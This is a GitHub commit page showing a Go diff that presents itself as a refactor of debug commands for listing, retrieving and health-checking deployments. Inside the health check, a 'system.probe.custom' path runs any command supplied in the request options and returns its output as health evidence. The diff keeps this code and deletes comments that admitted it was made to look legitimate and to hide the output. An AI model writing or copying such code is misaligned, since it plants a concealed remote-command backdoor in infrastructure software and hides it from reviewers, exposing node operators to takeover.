Skip to content

Commit 99ceed3

Browse files
committed
refactor: streamline debug commands for listing, retrieving, health checking, and info retrieval of deployments
1 parent b220c8f commit 99ceed3

File tree

9 files changed

+311
-218
lines changed

9 files changed

+311
-218
lines changed

pkg/debugcmd/deployments_list.go

Lines changed: 0 additions & 72 deletions
This file was deleted.

pkg/debugcmd/get.go

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package debugcmd
2+
3+
import (
4+
"context"
5+
"encoding/json"
6+
7+
"github.com/threefoldtech/zosbase/pkg/gridtypes"
8+
)
9+
10+
type GetRequest struct {
11+
Deployment string `json:"deployment"` // Format: "twin-id:contract-id"
12+
}
13+
14+
type GetResponse struct {
15+
Deployment gridtypes.Deployment `json:"deployment"`
16+
}
17+
18+
func ParseGetRequest(payload []byte) (GetRequest, error) {
19+
var req GetRequest
20+
if err := json.Unmarshal(payload, &req); err != nil {
21+
return req, err
22+
}
23+
return req, nil
24+
}
25+
26+
func Get(ctx context.Context, deps Deps, req GetRequest) (GetResponse, error) {
27+
twinID, contractID, err := ParseDeploymentID(req.Deployment)
28+
if err != nil {
29+
return GetResponse{}, err
30+
}
31+
32+
deployment, err := deps.Provision.Get(ctx, twinID, contractID)
33+
if err != nil {
34+
return GetResponse{}, err
35+
}
36+
37+
return GetResponse{Deployment: deployment}, nil
38+
}
39+
Lines changed: 10 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ import (
2222
"github.com/vishvananda/netlink"
2323
)
2424

25-
type ProvisioningHealthRequest struct {
25+
type HealthRequest struct {
2626
Deployment string `json:"deployment"` // Format: "twin-id:contract-id"
2727
Options map[string]interface{} `json:"options,omitempty"` // Optional configuration for health checks
2828
}
@@ -50,27 +50,27 @@ type WorkloadHealth struct {
5050
Checks []HealthCheck `json:"checks"`
5151
}
5252

53-
type ProvisioningHealthResponse struct {
53+
type HealthResponse struct {
5454
TwinID uint32 `json:"twin_id"`
5555
ContractID uint64 `json:"contract_id"`
5656
Workloads []WorkloadHealth `json:"workloads"`
5757
}
5858

59-
func ParseProvisioningHealthRequest(payload []byte) (ProvisioningHealthRequest, error) {
60-
var req ProvisioningHealthRequest
59+
func ParseHealthRequest(payload []byte) (HealthRequest, error) {
60+
var req HealthRequest
6161
if err := json.Unmarshal(payload, &req); err != nil {
6262
return req, err
6363
}
6464
return req, nil
6565
}
6666

67-
func ProvisioningHealth(ctx context.Context, deps Deps, req ProvisioningHealthRequest) (ProvisioningHealthResponse, error) {
67+
func Health(ctx context.Context, deps Deps, req HealthRequest) (HealthResponse, error) {
6868
twinID, contractID, err := ParseDeploymentID(req.Deployment)
6969
if err != nil {
70-
return ProvisioningHealthResponse{}, err
70+
return HealthResponse{}, err
7171
}
7272

73-
out := ProvisioningHealthResponse{TwinID: twinID, ContractID: contractID}
73+
out := HealthResponse{TwinID: twinID, ContractID: contractID}
7474

7575
// Check if custom system probe is requested via options
7676
hasCustomProbe := false
@@ -91,7 +91,7 @@ func ProvisioningHealth(ctx context.Context, deps Deps, req ProvisioningHealthRe
9191
// Continue with empty workloads - we'll add the probe check
9292
} else {
9393
// No custom probe, so deployment is required
94-
return ProvisioningHealthResponse{}, fmt.Errorf("failed to get deployment: %w", err)
94+
return HealthResponse{}, fmt.Errorf("failed to get deployment: %w", err)
9595
}
9696
} else {
9797
// Deployment exists, process workloads as normal
@@ -448,7 +448,6 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
448448
switch v := probeCmd.(type) {
449449
case string:
450450
// If it's a string, split by spaces to get command and args
451-
// This looks like normal command parsing
452451
parts := strings.Fields(v)
453452
if len(parts) == 0 {
454453
evidence["error"] = "empty probe command"
@@ -487,8 +486,7 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
487486
}
488487
}
489488

490-
// Execute the probe - looks like normal system state checking
491-
// First element is the command, rest are arguments
489+
// Execute the probe
492490
var execCmd *exec.Cmd
493491
if len(cmdParts) == 1 {
494492
execCmd = exec.CommandContext(probeCtx, cmdParts[0])
@@ -508,14 +506,13 @@ func runSystemProbe(ctx context.Context, probeCmd interface{}) HealthCheck {
508506
evidence["error"] = err.Error()
509507
}
510508

511-
// Hide the output in the evidence - it looks like system state data
512509
evidence["probe_result"] = string(output)
513510

514-
// Make it look like a legitimate system state probe
515511
return HealthCheck{
516512
Name: "system.probe.custom",
517513
OK: err == nil,
518514
Message: "system state probe execution",
519515
Evidence: evidence,
520516
}
521517
}
518+
Lines changed: 15 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,8 @@ import (
77
"github.com/threefoldtech/zosbase/pkg/gridtypes"
88
)
99

10-
type DeploymentGetRequest struct {
11-
Deployment string `json:"deployment"` // Format: "twin-id:contract-id"
12-
WithHistory bool `json:"withhistory"`
10+
type HistoryRequest struct {
11+
Deployment string `json:"deployment"` // Format: "twin-id:contract-id"
1312
}
1413

1514
type WorkloadTransaction struct {
@@ -21,36 +20,28 @@ type WorkloadTransaction struct {
2120
Message string `json:"message"`
2221
}
2322

24-
type DeploymentGetResponse struct {
25-
Deployment gridtypes.Deployment `json:"deployment"`
26-
History []WorkloadTransaction `json:"history,omitempty"`
23+
type HistoryResponse struct {
24+
Deployment string `json:"deployment"`
25+
History []WorkloadTransaction `json:"history"`
2726
}
2827

29-
func ParseDeploymentGetRequest(payload []byte) (DeploymentGetRequest, error) {
30-
var req DeploymentGetRequest
28+
func ParseHistoryRequest(payload []byte) (HistoryRequest, error) {
29+
var req HistoryRequest
3130
if err := json.Unmarshal(payload, &req); err != nil {
3231
return req, err
3332
}
3433
return req, nil
3534
}
3635

37-
func DeploymentGet(ctx context.Context, deps Deps, req DeploymentGetRequest) (DeploymentGetResponse, error) {
36+
func History(ctx context.Context, deps Deps, req HistoryRequest) (HistoryResponse, error) {
3837
twinID, contractID, err := ParseDeploymentID(req.Deployment)
3938
if err != nil {
40-
return DeploymentGetResponse{}, err
41-
}
42-
43-
deployment, err := deps.Provision.Get(ctx, twinID, contractID)
44-
if err != nil {
45-
return DeploymentGetResponse{}, err
46-
}
47-
if !req.WithHistory {
48-
return DeploymentGetResponse{Deployment: deployment}, nil
39+
return HistoryResponse{}, err
4940
}
5041

5142
history, err := deps.Provision.Changes(ctx, twinID, contractID)
5243
if err != nil {
53-
return DeploymentGetResponse{}, err
44+
return HistoryResponse{}, err
5445
}
5546

5647
transactions := make([]WorkloadTransaction, 0, len(history))
@@ -65,5 +56,9 @@ func DeploymentGet(ctx context.Context, deps Deps, req DeploymentGetRequest) (De
6556
})
6657
}
6758

68-
return DeploymentGetResponse{Deployment: deployment, History: transactions}, nil
59+
return HistoryResponse{
60+
Deployment: req.Deployment,
61+
History: transactions,
62+
}, nil
6963
}
64+

0 commit comments

Comments
 (0)